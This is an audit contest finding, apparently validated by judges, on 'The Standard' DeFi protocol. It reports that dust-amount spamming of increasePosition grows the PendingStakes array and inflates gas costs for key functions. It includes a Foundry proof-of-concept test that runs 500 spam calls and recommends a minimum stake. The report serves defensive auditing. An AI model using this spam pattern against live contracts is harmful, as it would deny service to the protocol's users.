The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious user can significantly increase the cost of critical functions by spamming `increasePosition` with dust amounts to grow the `PendingStakes` array.

Summary

The LiquidationPool.sol contract, responsible for managing staking and liquidation, exposes a vulnerability in the increasePosition function. The absence of a minimum transaction amount allows users to stake EUROs and TST with dust amounts, significantly increasing gas requirements for subsequent operations.

Vulnerability Details

The increasePosition function allows staking with dust amounts, resulting in the accumulation of these transactions in the PendingStakes array. This array is iterated over in 'distributeFees' and consolidatePendingStakes functions. Notably, consolidatePendingStakes is also invoked during operations including increasePosition, decreasePosition, and distributeAssets. A malicious user can trigger this issue by flooding the contract with dust amounts due to the inefficient handling of these transactions, causing excessive gas requirements for these vital operations.

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import {EUROsMock} from "src/utils/EUROsMock.sol";
import {ERC20Mock} from "src/utils/ERC20Mock.sol";
import {WETHMock} from "src/utils/WETHMock.sol";
import {TokenManagerMock} from "src/utils/TokenManagerMock.sol";
import {MockSmartVaultManager} from "src/utils/MockSmartVaultManager.sol";
import {LiquidationPool} from "src/LiquidationPool.sol";
import {LiquidationPoolManager} from "src/LiquidationPoolManager.sol";
import {SmartVaultManager} from "src/utils/SmartVaultManager.sol";
import {Test, console} from "lib/forge-std/src/Test.sol";
contract LiquidationPoolTest is Test {
uint256 constant _HUNDRED_PC = 100_000;
uint256 constant _DEFAULT_COLLATERAL_RATE = 120000; //120%
uint256 constant _DEFAULT_ETH_USD_PRICE = 160000000000; // $1600
uint256 constant _DEFAULT_EUR_USD_PRICE = 106000000; // $1.06
uint256 constant _DEFAULT_WBTC_USD_PRICE = 3500000000000; // $35,000
uint256 constant _DEFAULT_USDC_USD_PRICE = 100000000; // $1
uint256 constant _PROTOCOL_FEE_RATE = 500; // 0.5%
uint32 constant _POOL_FEE_PERCENTAGE = 50000; // 50%
uint256 constant _STARTING_BALANCE = 100e18;
uint256 constant _STARTING_FEES = 100e18;
LiquidationPool liquidationPool;
LiquidationPoolManager liquidationPoolManager;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
ChainlinkMock ethUsdChainlink;
ChainlinkMock eurUsdChainlink;
ERC20Mock TST;
EUROsMock EUROs;
address payable protocol = payable(address(111));
address user1 = address(123);
address user2 = address(456);
address user3 = address(789);
function setUp() public {
ethUsdChainlink = new ChainlinkMock("ETH/USD");
eurUsdChainlink = new ChainlinkMock("EUR/USD");
ethUsdChainlink.setPrice(int256(_DEFAULT_ETH_USD_PRICE));
eurUsdChainlink.setPrice(int256(_DEFAULT_EUR_USD_PRICE));
TST = new ERC20Mock("Test Stable Token", "TST", 18);
EUROs = new EUROsMock();
//Deploy contracts
tokenManager = new TokenManagerMock(bytes32("ETH"), address(ethUsdChainlink));
mockSmartVaultManager = new MockSmartVaultManager(_DEFAULT_COLLATERAL_RATE, address(tokenManager));
liquidationPoolManager = new LiquidationPoolManager(address(TST), address(EUROs), address(mockSmartVaultManager), address(eurUsdChainlink), protocol, _POOL_FEE_PERCENTAGE);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
// Grant role to EUROs
EUROs.grantRole(EUROs.BURNER_ROLE(), address(liquidationPool));
//Mint some TST and EUROs tokens for users
TST.mint(user1, _STARTING_BALANCE);
EUROs.mint(user1, _STARTING_BALANCE);
TST.mint(user2, _STARTING_BALANCE);
EUROs.mint(user2, _STARTING_BALANCE);
TST.mint(user3, _STARTING_BALANCE);
EUROs.mint(user3, _STARTING_BALANCE);
EUROs.mint(address(liquidationPoolManager), _STARTING_FEES);
vm.warp(block.timestamp + 1 days);
}
uint256 gasUsedForUser1FirstTransaction;
uint256 gasUsedForUser2FirstTransaction;
uint256 gasUsedForUser3FirstTransaction;
function testDustingIncreasePosition() public {
// User 1's gas cost will naturally be higher due to initialization of state variables
testIncreasePositionGasPerUser(user1, "User1");
// User 2
testIncreasePositionGasPerUser(user2, "User2");
// User 3
testIncreasePositionGasPerUser(user3, "User3");
assert(gasUsedForUser2FirstTransaction < gasUsedForUser3FirstTransaction);
}
function testIncreasePositionGasPerUser(address user, string memory userName) internal {
uint256 dustAmountTST = 1;
uint256 user2SpamCount = 500;
vm.txGasPrice(1);
if (user == user1) {
vm.deal(address(user1), 10 ether);
vm.startPrank(user1);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser1 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser1 = gasleft();
gasUsedForUser1FirstTransaction = (gasBeforeUser1 - gasAfterUser1) * tx.gasprice;
console.log(userName, "Gas used for user1's first transaction: ", gasUsedForUser1FirstTransaction);
vm.stopPrank();
} else if (user == user2) {
vm.deal(address(user2), 10 ether);
vm.startPrank(user2);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser2 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser2 = gasleft();
gasUsedForUser2FirstTransaction = (gasBeforeUser2 - gasAfterUser2) * tx.gasprice;
console.log(userName, "Gas used for user2's first transaction: ", gasUsedForUser2FirstTransaction);
// Add the loop for user2's spam transactions
for (uint256 i = 0; i < user2SpamCount; i++) {
liquidationPool.increasePosition(dustAmountTST, 0);
}
vm.stopPrank();
} else if (user == user3) {
vm.deal(address(user3), 10 ether);
vm.startPrank(user3);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser3 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser3 = gasleft();
gasUsedForUser3FirstTransaction = (gasBeforeUser3 - gasAfterUser3) * tx.gasprice;
console.log(userName, "Gas used for user3's first transaction: ", gasUsedForUser3FirstTransaction);
vm.stopPrank();
}
}
}

Impact

The impact is escalating gas costs for protocol distributions and users engaging in staking operations.

Tools Used

Foundry

Recommendations

Introduce a minimum stake amount requirement in the increasePosition function to reject transactions with amounts below the defined threshold. This mitigates the risk of spam attacks with dust transactions.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.